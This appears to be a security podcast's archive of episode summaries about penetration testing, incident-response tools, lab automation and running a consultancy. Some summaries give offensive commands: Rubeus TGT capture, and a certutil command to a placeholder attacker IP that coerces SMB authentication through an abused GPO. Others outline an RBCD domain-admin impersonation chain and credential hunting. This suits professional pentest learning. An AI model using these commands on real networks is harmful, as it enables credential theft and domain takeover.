Oooooo, giggidy! Today is (once again) my favorite tale of pentest pwnage. I learned about a feature of PowerUpSQL that helped me find a “hidden” SQL account, and that account ended up being the key to the entire pentest!  I wonder how many hidden SQL accounts I’ve missed on past pentests….SIGH! Check out the awesome BloodHound gang thread about this here. Also, can’t get Rubeus monitor mode to capture TGTs to the registry?  Try output to file instead: rubeus monitor /interval:5 /nowrap...

Today we take a look at a zero-trust / ditch-your-VPN solution called Twingate (not a sponsor but we’d like them to be)!  It also doubles nicely as a primary or backup connection for your DIY pentest dropboxes which we’ve talked about quite a bit here.  In other news, we’ve moved from Teachable to Coursestack, so if you’ve bought training/ebooks with us before, you should’ve received some emails from us last Friday and can access our new training portal here.  (If you THINK you should’ve...

Hey friends, today I’m sharing my first (and non-sponsored) impressions of Level.io, a cool tool for managing Windows, Mac and Linux endpoints. It fits a nice little niche in our pentest dropbox deployments, it has an attractive price point and their support is fantastic.

Today we’re talkin’ business – specifically how to make your report delivery meetings calm, cool and collect (both for you and the client!).

Hey friends, today I’m putting my blue hat on and dipping my toes in incident response by way of playing with Velociraptor, a very cool (and free!) tool to find evil in your environment.  Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to “phone home” to you by way of GPO scheduled task.  The things I talk about in this episode and show in the YouTube stream are all based off of this awesome...

Today I do a short travelogue about my trip to Washington, geek out about some cool training I did with Velociraptor, ponder drowning myself in blue team knowledge with XINTRA LABS, and share some thoughts about the conference talk I gave called 7 Ways to Panic a Pentester.

Hey!  I’m speaking in Wanatchee, Washington next week at the NCESD conference about 7 ways to panic a pentester!  Today’s tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate!  It also emphases that cracking NETLM/NETNTLMv1 isn’t super easy to remember the steps for (at least for me) but this crack.sh article makes it a bit easier!

Today we continue where we left off in episode 641, but this time talking about how to automatically deploy and install a Ubuntu-based dropbox!  I also share some love for exegol as an all-in-one Active Directory pentesting platform.

Ron Cole of Immersive Labs joins us to talk pentest war stories, essential skills he learned while serving on a SOC, and the various pentest training and range platforms you can use to sharpen your security skills! Here are the links Ron shared during our discussion: VetSec Fortinet Veterans Program Immersive Labs Cyber Million FedVTE

Today we’re revisiting the fun world of automating pentest dropboxes using Proxmox, Ansible, Cursor and Level.  Plus, a tease about how all this talk about automation is getting us excited for a long-term project: creating a free/community edition of Light Pentest LITE training!

This was my favorite pentest tale of pwnage to date!  There’s a lot to cover in this episode so I’m going to try and bullet out the TLDR version here: Sprinkled farmer files around the environment Found high-priv boxes with WebClient enabled Added “ghost” machine to the Active Directory (we’ll call it GHOSTY) RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against the victim system where some higher-priv users were sitting Use net.py to add myself to local...

Today’s tale of pentest pwnage talks about the dark powers of the net.py script from impacket.

Today we’re talking pentesting – specifically some mini gems that can help you escalate local/domain/SQL privileges: Check the C: drive! If you get local admin and the system itself looks boring, check root of C – might have some interesting scripts or folders with tools that have creds in them. Also look at Look at Get-ScheduledTasks Find ids and passwords easily in Snaffler output with this Snaffler cleaner script There’s a ton of gold to (potentially) be found in SQL servers – check out...

Hello friends, I’m excited to release BPATTY[RELOADED] into the world at https://bpatty.rocks! – which stands for Brian’s Pentesting and Technical Tips for You! It’s a knowledge base of IT and security bits that help me do a better job doing security stuff! Today I do an ACTUAL 7-minute episode (GASP…what a concept!) covering my favorite bits on the site so far. Enjoy!

Artificial hype alert!  I’m working on a NEW version of BPATTY (Brian’s Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation.  It’s weird.  But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than BPATTY v1 (which is now in archive/read-only mode).

Today we’re talking about eating the security dog food – specifically: Satisfying critical security control #1 Using the Atlassian family of tools to create a ticketing/change control system and wrap it into an asset inventory Leveraging Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)

Hi, today’s tale of pentest pwnage covers a few wins and one loss: A cool opportunity to drop Farmer “crops” to a domain admin’s desktop folder via PowerShell remote session Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile Finding a vCenter database backup and being unable to pwn it using vcenter_saml_login

Hey friends, we’re doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus!  It’s cool, it’s free, it’s from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin’ in about 5 minutes. Important files include: docusaurus.config.js – for setting the site title and key config settings sidebars.js – used to create/edit navigation bar menus...

Today’s tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs!  Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address.  When you’re ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I’m not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s).  If you’re on a compromised machine,...

Hi friends, today’s a tale full of test tips and tools to help you in your adventures in pentesting! SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud’homme – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds CMLoot – find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares Snaffler – finds all the interesting SMB shares and juicy file contents Efflanrs – takes the raw...

Today I recap a two week persona/biz road trip and talk about the security stuff that got sprinkled into it, including: Family members who don’t care about their personal security Weakpass – a cool collection of word lists for brute-forcing and spraying that I’d never heard of Working on two security Webinars for Netwrix (here’s part 1: Mastering Password Security & Active Directory Monitoring, and and part 2: Advanced Strategies for SQL Server Protection & Sensitive Information...

Today we have a fun featured interview with my new friend Stu Musil of Ambient Consulting I had a great time talking with Stu about bashing come common misconceptions people have about working with recruiters, plus tackling some frequently asked questions: How do you properly vet a recruiter you don’t know, but who offers a job opportunity you’re interested in? What questions should you ask a potential recruiter to get a feel for their level of experience in the industry (hint, if a...

Hey friends, today we talk about some not-so-glamorous but ever-so-important stuff related to running a cybersecurity consultancy, including: Taking an inventory of all the SaaS stuff your business uses – to keep an eye on spending, know when services are expiring, and track which credit card the services are tied to (so the services don’t almost get cancelled like some did with me!) Tracking domain names, and setting up your own automated rules to notify you well ahead of time when a...

Hey friends, today we continue our series all about migrating from VMWare to the world Proxmox!  Specifically: Getting my first Proxmox-based NUCs out in the field for live engagements! Pulling the trigger on two bare-metal Proxmox servers to eventually replace my vCenter environment. OVHCloud made it super easy to to add Proxmox to those bare-metals with a simple wizard. I couldn’t figure out how to get a Proxmox VM as the main firewall for the whole Proxmox node, but it turns out it...